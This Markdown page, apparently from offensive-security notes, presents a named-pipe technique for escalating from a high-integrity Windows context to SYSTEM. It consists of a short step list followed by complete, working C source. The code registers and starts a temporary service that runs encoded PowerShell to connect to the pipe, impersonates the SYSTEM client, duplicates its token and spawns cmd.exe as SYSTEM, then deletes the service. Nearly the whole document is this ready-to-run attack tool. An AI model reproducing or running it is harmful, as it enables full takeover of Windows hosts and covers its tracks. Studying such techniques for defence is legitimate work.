117 lines
3.5 KiB
Markdown
117 lines
3.5 KiB
Markdown
# From High Integrity to SYSTEM with Name Pipes
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**Code flow:**
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1. Create a new Pipe
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2. Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
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3. The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish
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4. Finally, uses the token obtained from the service to spawn a new _cmd.exe_
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```c
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#include <windows.h>
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#include <time.h>
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#pragma comment (lib, "advapi32")
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#pragma comment (lib, "kernel32")
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#define PIPESRV "PiperSrv"
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#define MESSAGE_SIZE 512
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int ServiceGo(void) {
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SC_HANDLE scManager;
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SC_HANDLE scService;
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scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
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if (scManager == NULL) {
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return FALSE;
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}
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// create Piper service
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scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
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SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
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"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
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NULL, NULL, NULL, NULL, NULL);
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if (scService == NULL) {
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//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
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return FALSE;
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}
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// launch it
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StartService(scService, 0, NULL);
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// wait a bit and then cleanup
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Sleep(10000);
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DeleteService(scService);
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CloseServiceHandle(scService);
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CloseServiceHandle(scManager);
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}
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int main() {
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LPCWSTR sPipeName = "\\\\.\\pipe\\piper";
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HANDLE hSrvPipe;
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HANDLE th;
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BOOL bPipeConn;
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char pPipeBuf[MESSAGE_SIZE];
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DWORD dBRead = 0;
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HANDLE hImpToken;
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HANDLE hNewToken;
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STARTUPINFOA si;
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PROCESS_INFORMATION pi;
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// open pipe
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hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
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PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
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// create and run service
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th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ServiceGo, NULL, 0, 0);
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// wait for the connection from the service
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bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
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if (bPipeConn) {
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ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
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// impersonate the service (SYSTEM)
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if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
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return -1;
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}
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// wait for the service to cleanup
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WaitForSingleObject(th, INFINITE);
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// get a handle to impersonated token
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if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
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return -2;
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}
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// create new primary token for new process
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if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
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TokenPrimary, &hNewToken)) {
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return -4;
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}
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//Sleep(20000);
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// spawn cmd.exe as full SYSTEM user
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ZeroMemory(&si, sizeof(si));
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si.cb = sizeof(si);
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ZeroMemory(&pi, sizeof(pi));
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if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe",
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NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
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return -5;
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}
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// revert back to original security context
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RevertToSelf();
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}
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return 0;
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}
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```
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